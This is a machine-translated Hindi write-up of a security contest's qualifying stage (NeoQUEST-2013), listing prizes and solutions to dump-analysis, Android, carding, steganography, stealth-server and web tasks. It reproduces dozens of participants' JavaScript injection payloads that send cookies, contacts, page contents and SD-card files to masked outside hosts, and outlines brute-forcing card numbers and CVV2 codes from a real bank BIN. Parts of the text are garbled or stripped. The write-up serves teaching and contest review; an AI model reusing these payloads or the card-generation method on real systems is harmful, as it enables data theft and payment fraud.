नियोक्वेस्ट -2016 के क्वालीफाइंग चरण के परिणाम और पासिंग कार्यों के तरीके

NeoQUEST 2013 टीम की ओर से नमस्कार!
योग्यता चरण बीत चुका है, और हम इसका जायजा लेते हुए प्रसन्न हैं। और परिणाम ऐसे हैं कि हम खुद को पुरस्कारों और उपहारों के नियोजित सेट तक सीमित नहीं कर सकते हैं, क्योंकि ऐसे कई प्रतिभागी हैं जिनके योगदान को नोट नहीं किया जा सकता है।

कट-ऑफ के तहत, निक्वेस्ट - 2013 के योग्यता चरण के कार्यों का सारांश और वर्णन करना।

सभी कार्यों को पूरा करने वाले चार प्रतिभागियों (l33t, vos, AVictor, d90andrew) को पुरस्कार प्रदान किए जाएंगे। बाहर खड़े l33t - उन्होंने टीम में भाग लिया (वास्तव में, निक्वेस्ट -2016 के योग्यता चरण ने व्यक्तिगत भागीदारी की), और खोज के दौरान हम एक अलग टीम पुरस्कार ( बग्स का एक गुच्छा के साथ सबसे अच्छे नैनोड्रोम) के साथ आए ।
एविक्टॉर में एक प्रतिभागी ने एंड्रॉइड (और न केवल यह) के साथ कार्य का अध्ययन किया, और तुरंत हमें विश्वासघाती और अकल्पनीय धोखा देती है, और इसलिए, पुरस्कार ( आईपॉड टच ) के अलावा, हम उसे एक अतिरिक्त उपहार ( बग, बग, कीड़े ) भी देते हैं ताकि वह और आगे हर जगह, हमेशा और हर जगह कीड़े खोजने में दिलचस्पी दिखाई। Vos और d90andrew के सदस्यों को क्रमशः ASUS ट्रांसफॉर्मर पैड इन्फिनिटी TF700T और iPod नैनो मिलता है।
हमारे विशेष "ज्यूरी सिम्पैथी प्राइज" ( AR.Drone 2.0 ) को टेलवेल प्रतिभागी को जाता है, जिसने हालांकि सभी कार्यों को पूरा नहीं किया, CVV2 पीढ़ी के एल्गोरिदम को अलग कर लिया (उसे खुशी है कि इस स्तर के विशेषज्ञ नियोक्वेस्ट में भाग लेते हैं) और कार्य को पूरा करने में अद्वितीय उत्साह दिखाया। स्किप्टस के साथ।
इसके अलावा, सभी प्रतिभागी जो खोज को पूरा करने में सफल होते हैं, उन्हें हम से यादगार उपहार प्राप्त होंगे, जो इस वर्ष पिछले वर्ष के मुकाबले अधिक मीठा और स्वादिष्ट होगा।

हम व्यक्तिगत रूप से उन सभी प्रतिभागियों से संपर्क करेंगे, जिन्होंने 10 जुलाई 2013 को सेंट पीटर्सबर्ग के आसपास के क्षेत्र में दूसरे (इन-पर्सन) भाग में भाग लिया था, जो पुरस्कार और उपहार स्थानांतरित करने के लिए 10 जुलाई 2013 को (आपने पंजीकरण करते समय एक वैध ई-मेल का संकेत दिया था)।

कार्यों का विवरण और उन्हें कैसे पूरा करें

एक पेज, दो पेज (डंप विश्लेषण)

प्रतिभागियों के निपटान में एक यातायात डंप और एक मेमोरी डंप था। पासवर्ड-संरक्षित ज़िप संग्रह को key.txt फ़ाइल के साथ प्रसारित करने के लिए ftp सत्र आसानी से ट्रैफ़िक में स्थित है। यह केवल मेमोरी डंप में संग्रह के लिए पासवर्ड खोजने के लिए बना हुआ है, जिसे दो तरीकों से किया जा सकता है: सरल और बहुत सरल।
एक सरल तरीका: स्ट्रिंग्स यूटिलिटी का उपयोग करते हुए, सभी यूनिकोड स्ट्रिंग्स खोजें और पासवर्ड ब्रूट बल के लिए एक शब्दकोश बनाएं, और फिर आर्काइव खोलना तकनीक का विषय बना हुआ है।
एक बहुत ही सरल तरीका: यदि आप संग्रह "key.txt" के नाम से मेमोरी डंप में "ctrl + F" बनाते हैं, तो एक पासवर्ड बहुत पास से मिल जाएगा।

संदेश की लागत $ 18 है वैट को छोड़कर (एसएमएस के माध्यम से एंड्रॉइड एप्लिकेशन + जावास्क्रिप्ट को उलट देना)

असाइनमेंट के विकास के दौरान नजरअंदाज किए गए बॉट बहिर्मुखी ने अपने सभी वार्ताकारों को अपने मोबाइल की संख्या देने के लिए खुश था, बस अधिक संदेश प्राप्त करने के लिए - आखिरकार, वह वेब-थूथन और फोन से दोनों चैट कर रहा था।



ध्यान से गरीब साथी को खुश करने के लिए, एसएमएस भेजना आवश्यक था, और अगर यह नियमित अभिव्यक्ति से गुजरता है, तो इसे तुरंत चैट में आने वाले संदेश के रूप में जोड़ा गया।
इस सुविधा के अलावा, एप्लिकेशन ने सर्वर के माध्यम से एसडी कार्ड से इंटरलाक्यूटर पर फ़ाइल स्थानांतरित करने के कार्य को लागू किया (जो, वैसे, शेल बे के साथ एक गंभीर धोखा को जन्म दिया, जिसे हॉस्टरों द्वारा भी देखा गया था)।
एंड्रॉइड एप्लिकेशन का इंटरफ़ेस, जो एक वेबव्यू है, में केवल बड़े लाल बटन "फाइल भेजें" का अभाव है, इसलिए फ़ंक्शन को जावास्क्रिप्ट के माध्यम से स्वतंत्र रूप से कॉल किया जाना था, जिसे बिना किसी प्रतिबंध के एसएमएस के माध्यम से देखा जा सकता था। लेकिन सम्मिलन की इस पद्धति के साथ किसी भी जावास्क्रिप्ट को निष्पादित नहीं किया गया है, और चूंकि एंड्रॉइड बॉट लगभग एक व्यक्ति (बस बहुत उत्सुक और निडर) के समान था, उसने खुशी से सभी आने वाले बटनों पर क्लिक किया।
कार्य पास करने के लिए एल्गोरिथ्म:



ऐसे विकल्प प्रतिभागियों द्वारा भेजे गए थे:

-- /list --  ) --  ? --    ,      - . 

 !      $18? :) 

 . NQC fob: <img src=http://xxx.xxx.xxx.xxx:xxxx/inject> 

 . NQC fob: ");var c =["my","your"];for(var k = 0; k < 2; k++){var msgs=document.getElementsByClassName(c[k]);for (var i = 0; i < msgs.length;i++){var cname = msgs[i].className;var childs=msgs[i].children;for(var j = 0; j < childs.length; j++)appendText("<img src=http://xxx.xxx.xxx.xxx:xxxx/"+cname+"/"+encodeURIComponent(childs[j]. innerText)+">");}};show("fob 

 . NQC fob: ");var e=document.getElementsByClassName("tab");for(var i=0;i<e.length;i++)appendText("<img src=http://xxx.xxx.xxx.xxx:xxxx/"+encodeURIComponent(e[i].title)+">");show("admin 

 1 NQC Contacts:<img src="http://xxx.xxx.xxx/d.php" 

 1 NQC fob:","my");var i=new Image();i.src="http://xxx.xxx.xxx/d.php?d="+escape(findTab("fob").innerHTML);appendMsg("x"," 

 1 NQC fob:","my");var x=new XMLHttpRequest();x.open('POST','http://xxx.xxx.xxx/d.php',true);x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send("a="+encodeURIComponent(document.getElementsByTagName('body')[0].innerHTML));appendMsg("x"," 

 1 NQC x:","my");var s=document.createElement('script');s.src='http://xxx.xxx.xxx/1.txt';document.getElementsByTagName('head')[0].appendChild(s);clr(" 

 1 NQC x:","my");var s=escape(document.getElementsByTagName('body')[0].innerHTML);for(i=0;i<s.length;i+=99)window.Android.postMessage(s.substr(i,99),"_");clr(" 

 1 NQC fob:","my");var i=new Image();i.src="http://xxx.xxx.xxx/d.php?d="+escape(findTab("Contacts").innerHTML);appendMsg("x"," 

 1 NQC x:","my");var s=escape(findTab("Contacts").innerHTML);for(i=0;i<s.length;i+=99)window.Android.postMessage(s.substr(i,99),"_");clr(" 

 1 NQC x:","my");var s=document.createElement('script');s.src='http://xxx.xxx.xxx/d.php';document.getElementsByTagName('head')[0].appendChild(s);clr(" 

 1 NQC fob:<img src=\"http://xxx.xxx.xxx/d.php\"/> 

 1 NQC fob:","my");window.Android.sendFile("key.txt","AVictor");clr(" 

 Q NQC " eval('q=new Image();q.src="http://xxx.xxx.xxx/image.php?" document.cookie;') " 

 . NQC fob: "); document.body.innerHTML="<iframe width=100% height=100% frameborder=0 src=http://xxx.xxx.xxx.xxx:xxxx/l.html></iframe>";// 

 Q NQC <img src="http://xxx.xxx.xxx/image.php?qwe"/>:hello 

 Q NQC <img src="http://xxx.xxx.xxx/image.php?123">:hello 

 Q NQC " eval('i=new Image();i.src="http://xxx.xxx.xxx/image.php?' document.cookie '";') ":hello 

 Q NQC hello:<img src="http://xxx.xxx.xxx/image.php?qwe1"/> 

 Q NQC " eval(';i=new Image();i.src="http://xxx.xxx.xxx/image.php?'; document.cookie ';";';) ":hello 

 . NQC test: ");function snd(i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || (s=="\\n" && c.length>512)) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/?"+encodeURIComponent(c)+">";c=""; }}}rt=Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null). invoke(null,null);snd(rt.exec(["/system/bin/ls","-R","/sdcard/"]).getInputStream());; show("test 

 . NQC test: ");function snd(i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || c.length>31) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/?"+encodeURIComponent(c)+">";c=""; }}}rt=Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null). invoke(null,null);snd(rt.exec(["/system/bin/ls","-R","/sdcard/"]).getInputStream());; show("test 

 . NQC test: ");function snd(fn, i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || c.length > 32) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/"+fn+"?"+encodeURIComponent(c)+">";c=""; }}}rt = Android.getClass().forName("java.lang.Runtime").getMethod( "getRuntime",null).invoke(null,null);snd("f", rt.exec(["/system/bin/cat", "/sdcard/flag"]).getInputStream());snd("ft", rt.exec(["/system/bin/cat", "/sdcard/flag.txt"]).getInputStream());snd("k", rt.exec(["/system/bin/cat", "/sdcard/key"]).getInputStream());snd("kt", rt.exec(["/system/bin/cat", "/sdcard/key.txt"]).getInputStream());;show("test 

 . NQC xxx: ");Android.postMessage("xxx", "/, /.txt, key, key.txt"); // 

 . NQC xxx: ");Android.postMessage("xxx", "/./.txt.key.key.txt"); // 

 . NQC fob: ");Android.postMessage("file:///android_asset/key.txt", "xxx"); //;Android.postMessage( "xxx");"<img src=http://xxx.xxx.xxx.xxx:xxxxx/" fn "?" encodeURIComponent(c) ">"; -> {Android.postMessage( 

 . NQC test: ");function snd(fn, i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c = s;b = i.read();if(b<0 

खैर, कुछ लोगों ने सोचा। कुल मिलाकर, लगभग 200 एसएमएस आए (यह एक छोटी संख्या को खराब करने के लिए आवश्यक था - और उन्होंने इसे उसी समय अर्जित किया होगा)।
कुछ भी मौखिक रूप से चैट करना चाहते थे! यह एक मजेदार काम निकला।

दौर यात्रा (कार्डिंग)

हमने एक टेवल प्रतिभागी के साथ इस असाइनमेंट के पारित होने पर चर्चा की - और आप असाइनमेंट के बारे में बेहतर नहीं लिख सकते। पत्राचार व्यावहारिक रूप से अपरिवर्तित है, लेकिन थोड़ा कम हो गया (मुझे उम्मीद है कि टेवल बुरा नहीं मानता है और मुझे अदालतों के बारे में नहीं बताएगा):

tavel --------> NeoQUEST_support

 -,   -  BIN,    , 479768  479769,    BIN  : 479768;VISA;BANK SAINT PETERSBURG PLC;DEBIT;CLASSIC;RUSSIAN FEDERATION;RU;RUS;643;; 479769;VISA;BANK SAINT PETERSBURG PLC;DEBIT;CLASSIC;RUSSIAN FEDERATION;RU;RUS;643;; 479770;VISA;BANK SAINT PETERSBURG PLC;DEBIT;BUSINESS;RUSSIAN FEDERATION;RU;RUS;643;; 479771;VISA;BANK SAINT PETERSBURG PLC;CREDIT;PLATINUM;RUSSIAN FEDERATION;RU;RUS;643;; 479772;VISA;BANK SAINT PETERSBURG PLC;DEBIT;ELECTRON;RUSSIAN FEDERATION;RU;RUS;643;; 479773;VISA;BANK SAINT PETERSBURG PLC;DEBIT;PREMIER;RUSSIAN FEDERATION;RU;RUS;643;;  ,   BIN   . ,    479769,        ,  -  . , ..     4 ,    BIN  1000 ,   ,          .      2000 . -:      CVV2 ,   CVV, CVV2      ,  CVV    1-   ,          .    CVV,   label    "CVV2/CVC2",  placeholder CVV,  , ,          .     ,   (http://dmitryga.ru/2013/640): CVV = 3DES(PAN[9], MMYY, ServiceCode) CVV2 = 3DES(PAN[9], YYMM, 000) -,     , -,   CVV2 -  ,    000. ,  -      101  , ,       CVV2. ,    (PAN)   9  ( BIN    ),   16 ,   2     ,   8 , .. 64- ,    64- ,         .    ,     :  3DES    1- ,   2-      1- , ..  EDE   ,    , , EEE,       -   ,   ,    EDE2. 

NeoQUEST_support ------> टेलवेल

    CVV  CVV2,   ,     (   EDE ).  ,     PAN,      128 ,            DES-  XOR-  .   .   .     CVV, ..       ( CVV2)  ,      . 

कार्य को पारित करने का क्रम:
1. साइट पर लॉग इन करें (निक / निक)।



2. सेंट पीटर्सबर्ग में एक बैंक के बिन (IIN) का पता लगाएं। Google पर स्थित है - 479769. आप अन्य BINs केवल तभी प्राप्त कर सकते हैं जब आपके पास आधिकारिक रूप से बंद वर्तमान BIN सूची में चैनल (जैसा कि, जाहिर है, टेल है)।
3. पैन / सीवीवी जोड़े उत्पन्न करने के लिए मून एल्गोरिथम और सीवीवी 2 पीढ़ी के एल्गोरिथ्म (उदाहरण के लिए, ऐसे सीवीवी 2 = 3 डीईएस (पैन [9], वाईवाईएमएम, 000) का उपयोग करें। आप ईएफटी कैलकुलेटर प्रोग्राम का उपयोग इसके सोर्स कोड को थोड़ा बदलकर कर सकते हैं।
4. टिकट खरीद के रूप में साइट पर (बेशक, मैन्युअल रूप से नहीं) सभी कई हजार विकल्पों पर जाएं। और सही डेटा प्रविष्टि के साथ, दर्ज किए गए मेल की कुंजी प्राप्त करें।

मेरा पहला एमपी 3 प्लेयर (ऑडियो स्टेग्नोग्राफ़ी)

सरल फ़ाइल जोड़तोड़ संचारित जानकारी को छिपाने में मदद कर सकते हैं, खासकर अगर आपको नहीं पता कि इसके लिए कहां देखना है। हमने खोज का दायरा सीमित कर दिया है ताकि प्रतिभागी एक बाधा में एक सुई की तलाश न करें: "निक ने पहले 5 सेकंड खो दिए, फिर 2:40 से ट्रैक के कुछ सेकंड और आखिरकार, 3:42 से अंतिम टुकड़ा।" यह, निश्चित रूप से, कार्य को बहुत सरल करता है।
एमपी 3 फ़ाइल में डाला गया शब्द तीन भागों में विभाजित किया गया था।
पहला खंड "RUM" शब्द है। हमने एक भाषण जनरेटर पर इस शब्द को पुन: पेश किया, फिर हमने इसे धीमा कर दिया और उलटा कर दिया। तदनुसार, प्रतिभागियों को एक उलटा समस्या थी।
दूसरा खंड "GINAE" शब्द है। यह मोर्स कोड द्वारा कूटबद्ध किया गया था और बहुत त्वरित किया गया था। जब आप ध्यान से एक खंड को सुनते हैं, तो आप तुरंत इसे सुन सकते हैं, और फिर इस खंड पर गीत को धीमा कर सकते हैं और मोर्स कोड को डिकोड कर सकते हैं।
तीसरा खंड "आईएमए" शब्द है। इस खंड में, हमने विशेष रूप से आवृत्तियों की एक निश्चित सीमा को काट दिया और इस आवृत्ति पर दर्ज एक मोर्स कोड डाला। मोर्स कोड केवल एक चैनल में लग रहा था और मफल हो गया था, इसलिए बिना किसी हेरफेर के नग्न और सशस्त्र सुनवाई के साथ सुनना बहुत मुश्किल था। एमपी 3 टैग में एक संकेत छोड़ दिया गया था जो मोर्स कोड की ऑपरेटिंग आवृत्ति रेंज का संकेत देता है: “प्रशंसकों द्वारा प्रशंसकों के लिए रिप्ड। 800-1000 में आनंद लें। ” यदि आप पैरामीट्रिक तुल्यकारक का उपयोग करते हैं, उदाहरण के लिए, साउंड फोर्ज में, आवश्यक आवृत्तियों को उठाने के लिए, तो आप मोर्स कोड सुन सकते हैं और, इसे डीकोड करके, वांछित टुकड़ा प्राप्त कर सकते हैं।



नतीजतन, आपको IMAGINAERUM शब्द मिलता है, जो नाइटविश के एक एल्बम का नाम है - असाइनमेंट के निर्माता का पसंदीदा समूह =)। कुंजी = MD5 (IMAGINAERUM)

अगर आपकी जेब में सिगरेट का एक पैकेट है (चुपके सर्वर)

कार्य को कार्यान्वित करने के लिए, हमने अपने ऑपरेटिंग सिस्टम FebOS के साथ एक सर्वर का उपयोग किया, जो कि वहां इस्तेमाल किए गए संस्करण में बस एक tcp / ip स्टैक और प्रोटोकॉल स्टैक नहीं था, इसलिए इसने U12 पर पोर्ट पर यूडीपी के अलावा सभी को छोड़कर किसी भी अनुरोध का जवाब नहीं दिया। हमने सेट किया। इस पोर्ट पर प्राप्त संदेशों के जवाब में देरी हुई, जिसके परिणामस्वरूप कई उपयोगिताओं ने इस पोर्ट को खुले (विशेष रूप से, नैंप) के रूप में पहचानना बंद कर दिया। आप यूडीपी के सभी पोर्ट को स्कैन करने के लिए किसी तरह के स्कैनर को चलाकर इसका पता लगा सकते हैं और विंडसरक में उत्तर देख सकते हैं (केवल एक पोर्ट 2112 से आएगा)। कार्य का मुख्य भाग हल हो गया है, फिर यह प्रौद्योगिकी और मनोरंजन का विषय है। आपको प्रॉम्प्ट पर सर्वर के साथ xml प्रोटोकॉल को समन्वयित करने की आवश्यकता है:


(वोस सदस्य चित्र)

और होमोक में बॉट जीत:


(वोस सदस्य चित्र)

"नया साल हमारे लिए छुट्टी नहीं है" (सी) रूसी पोस्ट (वेब ​​सुरक्षा)

इस कार्य ने लगभग पूरी तरह से एक वास्तविक बल्कि बड़ी साइट के साथ स्थिति को दोहराया, जिसमें से सबसे हाल ही में हमने आयोजित किया था। जीवन हमारे लिए सब कुछ लेकर आएगा, हम केवल इसे बिगाड़ नहीं सकते।
प्रवेश बिंदु एसक्यूएल-इंजेक्शन है, जिसके साथ आप साइट प्रशासक (ई-मेल पते और पासवर्ड हैश) के बारे में जानकारी प्राप्त कर सकते हैं।
SQL-Injection के अलावा, साइट में निष्क्रिय xss है। सोशल इंजीनियरिंग का उपयोग करते हुए, प्रशासक को क्रेडेंशियल दर्ज करने के लिए मजबूर करना संभव था (व्यवस्थापक वास्तविक था, 10:00 से 18:00 तक काम करता है, और कभी-कभी लगभग घड़ी के आसपास) XSS युक्त लिंक पर क्लिक करके और आपको उपयोगकर्ता नाम और पासवर्ड भेजकर। इस तरह से कार्य पूरा करने वाले कई प्रतिभागियों ने लगातार कुकीज़ प्राप्त करने की कोशिश की और सामाजिक इंजीनियरिंग का उपयोग बिल्कुल नहीं करना चाहते थे - हालांकि जीवन में यह एक ऐसा व्यक्ति है जो सबसे अधिक बार सबसे कमजोर कड़ी है।
साइट प्रशासकों के पासवर्ड, साथ ही पूरे कार्य, हमने जीवन से लिया: आकाश-उच्च नहीं, कठिन, लेकिन शब्दकोश नहीं (औसत लंबाई, संख्याओं, अक्षरों, वर्णों आदि की सामग्री)। इसलिए, व्यवस्थापकों के पासवर्ड हैश प्राप्त करने के बाद, md5 हैश का उपयोग करके उन्हें पुनर्प्राप्त करने के कार्य के साथ काफी सफलतापूर्वक सामना करना संभव था, जो कुछ उपयोगकर्ताओं ने किया था।

लालसा से बाहर निकलो, अपने पैरों के नीचे बोर्ड! (SCADA सिस्टम + छवि खोज)

धन्यवाद

सभी प्रतिभागियों को धन्यवाद! हम आशा करते हैं कि आपने इसका आनंद लिया और सभी ने अपने लिए कुछ नया और उपयोगी सीखा। मुझे खुशी है कि सभी कार्य पूरे हो गए, जिसके लिए सभी विजेताओं को विशेष धन्यवाद। हम आपके साथ NeoQUEST-2013 के इन-पर्सन स्टेज पर मिलेंगे, और हम आपको अग्रिम शुभकामनाएं देते हैं!

कार्यों को बनाने में शामिल पूरी टीम के लिए धन्यवाद: ऐनकॉर्न, ओटानाटरी, मैकोएश्का, बूज़ज़ोन, डेनिस, सेरी, 3ka5_cat , आदि। पूरे बुनियादी ढांचे और बुनियादी ढांचे के समर्थन के लिए पुशकिन के लिए विशेष धन्यवाद, उत्कृष्ट अस्पताल के डिजाइन के लिए ज़ेंड्रा।